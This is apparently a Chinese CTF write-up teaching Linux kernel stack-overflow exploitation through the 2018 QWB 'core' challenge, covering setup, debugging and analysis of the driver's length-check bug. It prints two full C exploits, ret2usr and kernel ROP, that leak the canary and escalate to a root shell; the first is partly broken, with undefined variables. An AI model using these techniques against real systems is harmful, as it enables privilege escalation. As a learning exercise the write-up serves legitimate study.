kernel-2-stkof 这次主要基于内核栈溢出作为主题学习。相关练习是2018强网杯core
准备 拿到一道内核的附件首先要做的一些事情。首先介绍一下题目文件内容
bzImage :kernel映像
core.cpio :文件系统映像
start.sh :一个用于启动 kernel 的 shell 的脚本,多用 qemu,保护措施与 qemu 不同的启动参数有关
vmlinux :类比成用户态pwn中的libc文件。解压core.cpio之后core目录里也有个vmlinux,调试时用core目录的vmlinux。
vmlinux 未经过压缩,也就是说我们可以从 vmlinux 中找到一些 gadget,我们先把 gadget 保存下来备用。如果题目没有给 vmlinux,可以通过 extract-vmlinux 提取(命令:./extract-vmlinux ./bzImage > vmlinux)。
我们要做的首先是修改一些配置参数,包括机器内存,自动关机时间等。为了方便我们调试。
解包文件系统 1 2 3 4 5 6 7 8 9 10 11 12 # 解包文件系统 mkdir core mv core.cpio ./core/core.cpio.gz cd core gunzip core.cpio.gz cpio -idmv < core.cpio rm -rf core.cpio # 打包文件系统 ./gen_cpio.sh core.cpio # gen_cpio.sh在解包的文件系统中自带 mv core.cpio ../core.cpio cd .. rm -rf core
类比于一般的pwn题,在解包的文件系统中,*.ko就是binary文件,vmlinux就是libc文件。
修改start.sh脚本 在这里修改分配内存,为了方便调试
1 2 3 4 5 6 7 8 9 10 ➜ give_to_player git:(main) ✗ cat start.sh qemu-system-x86_64 \ -m 64M \ =======> change to -m 128M -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ # 没有开启semp,可以ret2usr,否则只能内核rop -s \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \
修改文件系统初始化脚本 打开core,修改其中文件系统初始化脚本init,将时间行注释,如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 ➜ give_to_player git:(main) ✗ cd core ➜ core git:(main) ✗ ls bin core.ko etc gen_cpio.sh init lib lib64 linuxrc proc root sbin sys tmp usr vmlinux ➜ core git:(main) ✗ cat init # !/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms # 把kallsyms的内容保存到本地,这样就能从/tmp/kallsyms中获取commit_creds,prepare_kernel_cred等函数的地址了 echo 1 > /proc/sys/kernel/kptr_restrict # 之后在设置这里restrict为1,表示不能通过/proc/kallsyms查看函数地址,但是之前我们已经保存,因此这句话就无关紧要了 echo 1 > /proc/sys/kernel/dmesg_restrict # dmesg用来储存开机时一些log 信息,这里把restrict设置为1就表示后续无法读取信息了 ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko # poweroff -d 120 -f & <======这里注释,类似alarm setsid /bin/cttyhack setuidgid 0 /bin/sh # <======这里原来数字是1000,改为0,表示我们可以有内核的调试权限,这样可以方便看到符号表等。 echo 'sh end!\n' umount /proc umount /sys poweroff -d 0 -f
调试方式 1 2 3 ➜ give_to_player git:(main) ✗ qemu-system-x86_64 --help |grep gdb -gdb dev wait for gdb connection on 'dev' -s shorthand for -gdb tcp::1234
这里说明qemu的远程调试端口可以用-s缩写来代替。-s就是代表-gdb tcp::1234 。当然,也可以指定其他端口。可以回看我们的启动脚本,发现其中已经包含了-s。我们直接可以远程调试。
题目分析 内核保护介绍
canary、pie、NX和一般的题目类似
smep (supervisor mode access prevention)当处于用户态页表的进程想要执行内核代码时,将会报错。同样的,在内核模式下,执行用户空间代码,也会报错。
本题目保护如下。semp未开启。
1 2 3 4 5 6 [*] '/home/nicholas/Desktop/kernel/pwnkernel/problems/give_to_player/core/core.ko' Arch: amd64-64 -little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0 )
分析题目 拿到一道内核题,首先应该看init_module,它相当于驱动创建的主函数。
其次,看core_ioctl。这里定义了如何对驱动进行指令级别的管理。也就是之前提到ioctl能够操控的原因。本题的ioctl函数如下。ioctf中包含的函数和之前做os一样。仔细看一下这三个函数做了什么。a3是一个局部变量,core_read可以读入到a3,之后第二个可以把a3赋值给off,最后一个调用了core_copy 函数。可想而知这是一个比较关键的函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 __int64 __fastcall core_ioctl (__int64 a1, int a2, __int64 a3) { switch ( a2 ) { case 1719109787 : core_read(a3); break ; case 1719109788 : printk(&unk_2CD); off = a3; break ; case 1719109786 : printk(&unk_2B3); core_copy_func(a3); break ; } return 0LL ;
read函数 从用户空间读取数据,也就是我们的主函数。在内核中,我们无法直接读取用户输入,要经过syscall等ipc调用。具体流程在操作系统课上将会详细说明。注意这里的copy_to_user是库函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 unsigned __int64 __fastcall core_read (__int64 a1) { char *v2; __int64 i; unsigned __int64 result; char v5[64 ]; unsigned __int64 v6; v6 = __readgsqword(0x28 u); printk(&unk_25B); printk(&unk_275); v2 = v5; for ( i = 16LL ; i; --i ) { *(_DWORD *)v2 = 0 ; v2 += 4 ; } strcpy (v5, "Welcome to the QWB CTF challenge.\n" ); result = copy_to_user(a1, &v5[off], 64LL ); if ( !result ) return __readgsqword(0x28 u) ^ v6; __asm { swapgs } return result; }
由于off我们可以控制,因此可以通过控制off泄露一些地址和canary。
core copy函数 比较关键的其实就是在于core_copy函数了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 __int64 __fastcall core_copy_func (__int64 a1) { __int64 result; _QWORD v2[10 ]; v2[8 ] = __readgsqword(0x28 u); printk(&unk_215); if ( a1 > 63 ) { printk(&unk_2A1); result = 0xFFFFFFFF LL; } else { result = 0LL ; qmemcpy(v2, &name, (unsigned __int16)a1); } return result;
不难发现,这里有一个问题。在检查a1大小合法性时,是将他和63比较,大于则有错,但是我们可以写小于0的。同时,在真正qmemcopy时,只比较了强行转换为unsigned int 16的变量。我们如果写一个0xfffffffffffff100就可以绕过第一个检查(因为这个数字小于0),同时也使得第二个检查中结果为0xf100,远远大于64,这样就实现了栈溢出 。
exp 首先明确攻击思路。如下所示
(1)获取 commit_creds(),prepare_kernel_cred() 的地址: /tmp/kallsyms 中保存了这些地址,可以直接读取,同时根据偏移固定也能确定 gadgets 的地址。
(2)通过 ioctl 设置 off,然后通过 core_read() leak 出 canary
(3)通过 core_write() 向 name 写,构造 ropchain
(4)通过 core_copy_func() 从 name 向局部变量上写,通过设置合理的长度和 canary 进行 rop
(5)通过 rop 执行 commit_creds(prepare_kernel_cred(0))
(6)返回用户态,通过 system(“/bin/sh”) 等起 shell
准备 我们如果要调试内核,首先要获取镜像加载地址。在一般的os中,内核通常在高地址。这里我们可以直接看到,如下所示。
1 2 3 4 / # cat /sys/module/core/sections/.text 0xffffffffc03f0000
接着,开一个gdb远程连接上去。使用如下命令
1 2 3 4 pwndbg> target remote 127.0 .0 .1 :1234 pwndbg> add-symbol-file ./core/core.ko 0xffffffffc03f0000
接着就可以在函数名上面下断点了
1 2 pwndbg> b core_read Breakpoint 1 at 0xffffffffc03f0063
以上相当于获得了镜像的函数地址,但是我们最终需要执行的是
1 commit_creds(prepare_kernel_cred(0 ));
这两个函数都在类似于glibc的vmlinux中。为此,我们要首先找到这两个函数的偏移(在pwntools中没有直接找到vmlinux中符号偏移的方法)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *elf = ELF('./core/vmlinux' ) ➜ give_to_player git:(main) ✗ checksec ./core/vmlinux print "commit_creds" ,hex (elf.symbols['commit_creds' ]-0xffffffff81000000 )print "prepare_kernel_cred" ,hex (elf.symbols['prepare_kernel_cred' ]-0xffffffff81000000 )
接下来寻找在内核中commit_creds
的地址。和用户态一样,VMlinux也会被加载到一个随机地址。但是不重要,一旦我们知道了偏移,就可以知道被加载到内核中的VMlinux的基地址,从而计算出内核中commit_creds
的地址。
1 2 3 4 5 # cat /proc/kallsyms | grep commit_credsffffffffaa09c8e0 T commit_creds # (python3) > >> hex(0xffffffffaa09c8e0-0x9c8e0) '0xffffffffaa000000' # 得到加载VMlinux的基地址
ret2usr 首先了解一下流程
1 ***执行 commit_creds(prepare_kernel_cred(0))***,此时该进程已经是id为0的root进程了,但是仍在内核态中。而这条语句的执行可以用ROP来做,由于SMEP没开,ret2user也可以,ret2user就是在编写的程序中写入一个函数调用该函数,将ROP的该部分直接写成用户态函数的地址;
2 ***执行swapgs***,准备回到用户态
3 iretq回到用户态,在rsp指向的位置布置好相关寄存器的值,特别的将rip寄存器的值保存为执行system(“/bin/sh”),再返回用户态后就可以拿到一个root权限的shell了。
由于没有开启smep
,可以尝试用ret2usr来做。
在ret2usr
过程中,包括了os里面的保存寄存器,弹出寄存器的操作。这里需要我们手写内联汇编。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 unsigned long user_cs, user_ss, user_eflags,user_sp;void save_stats () { asm ( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r" (user_cs), "=r" (user_ss), "=r" (user_eflags),"=r" (user_sp) : : "memory" ); }
接着可以根据反汇编结果编写交互函数
1 2 3 4 5 6 7 8 9 10 11 void setoff (int fd,int off) { ioctl(fd,0x6677889C ,off); } void core_read (int fd,char *buf) { ioctl(fd,0x6677889B ,buf); } void core_copy (int fd , unsigned long long len) { ioctl(fd, 0x6677889A ,len); }
接下来可以编写main函数。这里尝试分析一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 #include <stdio.h> #include <fcntl.h> #include <unistd.h> int fd;unsigned long user_cs, user_ss, user_eflags,user_sp;size_t commit_creds_addr,prepare_kernel_cred_addr; void core_read (char *buf) { ioctl(fd,0x6677889B ,buf); } void change_off (long long v1) { ioctl(fd,0x6677889c ,v1); } void core_write (char *buf,int a3) { write(fd,buf,a3); } void core_copy_func (long long size) { ioctl(fd,0x6677889a ,size); } void shell () { system("/bin/sh" ); } void save_stats () { asm ( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r" (user_cs), "=r" (user_ss), "=r" (user_eflags),"=r" (user_sp) : : "memory" ); } void get_root () { char * (*pkc)(int ) = prepare_kernel_cred_addr; void (*cc)(char *) = commit_creds_addr; (*cc)((*pkc)(0 )); } int main (void ) { save_stats() ; unsigned long long buf[0x40 /8 ]; memset (buf,0 ,0x40 ); unsigned long long canary ; unsigned long long module_base ; unsigned long long vmlinux_base ; unsigned long long iretq ; unsigned long long swapgs ; unsigned long long rop[0x30 ]; memset (buf,0 ,0x30 *8 ); int fd = open("/proc/core" ,O_RDWR); if (fd == -1 ){ printf ("open file error\n" ); exit (0 ); } else { printf ("open file success\n" ); } printf ("[*] buf: 0x%p" ,buf); setoff(fd,0x40 ); core_read(fd,buf); canary = buf[0 ]; module_base = buf[2 ] - 0x19b ; vmlinux_base = buf[4 ] - 0x16684f0 ; printf ("[*] canary: 0x%p" ,canary); printf ("[*] module_base: 0x%p" ,module_base); printf ("[*] vmlinux_base: 0x%p" ,vmlinux_base); commit_creds = vmlinux_base + 0x9c8e0 ; prepare_kernel_cred = vmlinux_base + 0x9cce0 ; iretq = vmlinux_base + 0x50ac2 ; swapgs = module_base + 0x0d6 ; rop[8 ] = canary ; rop[9 ] = 0 ; rop[10 ] = payload; rop[11 ] = swapgs; rop[12 ] = 0 ; rop[13 ] = iretq ; rop[14 ] = get_shell ; rop[15 ] = user_cs; rop[16 ] = user_eflags; rop[17 ] = user_sp; rop[18 ] = user_ss; rop[19 ] = 0 ; write(fd,rop,0x30 *8 ); core_copy(fd,0xf000000000000000 +0x30 *8 );
静态编译上述文件,并放到文件系统中,之后可以尝试调试。
刚才没有说明如何找到canary,这里通过调试说明
1 2 3 4 5 6 # (pwndbg) 0xffffffffc012006e <core_read+11> sub rsp, init_module+36 <72> 0xffffffffc0120072 <core_read+15> mov rax, qword ptr gs:[0x28] 0xffffffffc012007b <core_read+24> mov qword ptr [rsp + 0x40], rax ► 0xffffffffc0120080 <core_read+29> xor eax, eax # 可以看到上面把canary放到rsp+0x40地方。其实IDA里面也能看到。我们想调试的主要目的是想获得module和vmlinux的一些地址。
1 2 3 4 5 6 7 8 # (pwndbg) 08:0040│ 0xffffa6f6400d3e58 ◂— add ch, al /* 0xabcb5d9dd231c500 */ # canary 09:0048│ 0xffffa6f6400d3e60 —▸ 0x7fff7548c1a0 ◂— 0 0a:0050│ 0xffffa6f6400d3e68 —▸ 0xffffffffc012019b (core_ioctl+60) ◂— jmp 0xffffffffc01201b5 # about module base 0b:0058│ 0xffffa6f6400d3e70 —▸ 0xffff8a54c78b66c0 ◂— add qword ptr [r8], rax /* 0x81b6f000014b */ 0c:0060│ 0xffffa6f6400d3e78 —▸ 0xffffffffba7dd6d1 ◂— mov rdi, rbx # about vmlinux base 0d:0068│ 0xffffa6f6400d3e80 ◂— wait /* 0x889b */
这里vmlinux base和module base两个的关系还是没有很清楚。
ROP rop就是如果无法在用户空间直接执行commit_creds(prepare_kernel_cred(0))时采用的方法。在上面ret2usr中我们实际上是在用户地址空间中执行的上述exp,但是如果有限制不能再用户空间执行此函数。我们首先要在vmlinux中找到此函数的地址,具体方法就是先泄露偏移量,再通过之前讲到的获取符号表的方法找到commit_creds和prepare_kernel_cred这两个函数的偏移,使用rop调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 #include <stdio.h> #include <fcntl.h> #include <unistd.h> int fd;unsigned long user_cs, user_ss, user_eflags,user_sp; void core_read (char *buf) { ioctl(fd,0x6677889B ,buf); } void change_off (long long v1) { ioctl(fd,0x6677889c ,v1); } void core_write (char *buf,int a3) { write(fd,buf,a3); } void core_copy_func (long long size) { ioctl(fd,0x6677889a ,size); } void shell () { system("/bin/sh" ); } void save_stats () { asm ( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %3\n" "pushfq\n" "popq %2\n" :"=r" (user_cs), "=r" (user_ss), "=r" (user_eflags),"=r" (user_sp) : : "memory" ); } int main () { int ret,i; char buf[0x100 ]; size_t vmlinux_base,core_base,canary; size_t commit_creds_addr,prepare_kernel_cred_addr; size_t commit_creds_offset = 0x9c8e0 ; size_t prepare_kernel_cred_offset = 0x9cce0 ; size_t rop[0x100 ]; save_stats(); fd = open("/proc/core" ,O_RDWR); change_off(0x40 ); core_read(buf); vmlinux_base = *(size_t *)(&buf[0x20 ]) - 0x1dd6d1 ; core_base = *(size_t *)(&buf[0x10 ]) - 0x19b ; prepare_kernel_cred_addr = vmlinux_base + prepare_kernel_cred_offset; commit_creds_addr = vmlinux_base + commit_creds_offset; canary = *(size_t *)(&buf[0 ]); printf ("[*]canary:%p\n" ,canary); printf ("[*]vmlinux_base:%p\n" ,vmlinux_base); printf ("[*]core_base:%p\n" ,core_base); printf ("[*]prepare_kernel_cred_addr:%p\n" ,prepare_kernel_cred_addr); printf ("[*]commit_creds_addr:%p\n" ,commit_creds_addr); for (i = 0 ;i < 8 ;i++){ rop[i] = 0x66666666 ; } rop[i++] = canary; rop[i++] = 0 ; rop[i++] = vmlinux_base + 0xb2f ; rop[i++] = 0 ; rop[i++] = prepare_kernel_cred_addr; rop[i++] = vmlinux_base + 0xa0f49 ; rop[i++] = vmlinux_base + 0x21e53 ; rop[i++] = vmlinux_base + 0x1aa6a ; rop[i++] = commit_creds_addr; rop[i++] = core_base + 0xd6 ; rop[i++] = 0 ; rop[i++] = vmlinux_base + 0x50ac2 ; rop[i++] = (size_t )shell; rop[i++] = user_cs; rop[i++] = user_eflags; rop[i++] = user_sp; rop[i++] = user_ss; core_write(rop,0x100 ); core_copy_func(0xf000000000000100 ); return 0 ; }
这里有一个pop_rcx_ret的原因是因为call指令的时候会把它的返回地址push入栈,这样会破坏我们的ROP链,所以要把它pop出去。和ret2usr很相似,都是基于栈溢出。这里唯一不同的地方就是执行代码没有直接使用用户空间的,而仍然是内核的 (因为我们rop本质是在驱动里面运作,在内核态)
寻找gardet的方法如下
ropper –file vmlinux -search “pop|ret” (较慢)
objdump -
d vmlinux -
M intel | grep -
E ‘ret|pop’(格式不好看,但是很快)
主要找到上述类似gardet,可以模仿来做栈溢出等。